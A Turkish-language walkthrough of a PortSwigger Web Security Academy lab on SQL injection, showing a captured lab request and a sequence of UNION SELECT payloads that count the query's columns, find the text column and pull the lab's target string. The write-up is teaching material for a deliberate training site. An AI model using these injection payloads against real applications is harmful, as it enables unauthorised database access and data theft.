> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-union-attack-finding-a-column-containing-text-cozumu.md).

# SQL injection UNION attack, finding a column containing text Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün kategori filtresinde SQL Injection zafiyeti vat. UNION ile diğer tablolardan veri çekebilirsin. İlk kaç sütün çektiğine bakman lazım. Sonra hangi sütünda string çekebildiğini bul diyor. Sonra da lab içinde sana verdiğim stringi çek demiş.

Sayfa aşağıdaki gibi:

<figure><img src="/files/6gbyYzODpqbewADQnwve" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/Y8dJFyhaG4PysbTsbgXv" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Gifts HTTP/2
Host: 0a61008d035d4fd68444134b008200a7.web-security-academy.net
Cookie: session=ZqwvcAJP0PjmCAIOPHQpJz55A6TKPSmP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: <https://0a61008d035d4fd68444134b008200a7.web-security-academy.net/>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
```

/filter?category=Gifts, buradaki Gifts yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım.

İlk UNION sorgumuzla 1 null koyarak başlayalım. Önceki SELECT sorgusunun çektiği null sayısını bulana kadar arttıralım.

`' UNION SELECT null--`

hata verdi bir null daha ekleyelim.

`' UNION SELECT null,null--`

hata verdi bir null daha ekleyelim.

`' UNION SELECT null,null,null--`

ve başarılı 3 değer çekiyormuş, labda sadece bunu bulmamızı istiyordu.

Şimdi sırayla her birinin yerine string bir değer koyarak ‘deneme’ hangisi string çekebiliyor test edelim. Burada hangisinin çektiği veri tipini belirleyen şey önceki SELECT sorgusunda o sütünün hangi veri tipi olabildiği. Sırayla null lar yerine ‘deneme’ diye koyunca 2. null da sayfa 200 dönüyor o zaman 2. sütünda çekiyor demek.

`' UNION SELECT null,'deneme',null--`

Burada çözmek için laba girince dikkat ederseniz sayfanın üstünde bir string vermiş, bunu çekin demiş. Bende değer bu: 'M4MgJO’

Artık tek yapmamız gereken deneme yerine bu değeri girmek:

`' UNION SELECT null,'M4MgJO',null--`

Bu sorguyu gönderince lab biticek zaten.

<figure><img src="/files/HWiWQEcej6VU1GiEsylB" alt=""><figcaption></figcaption></figure>
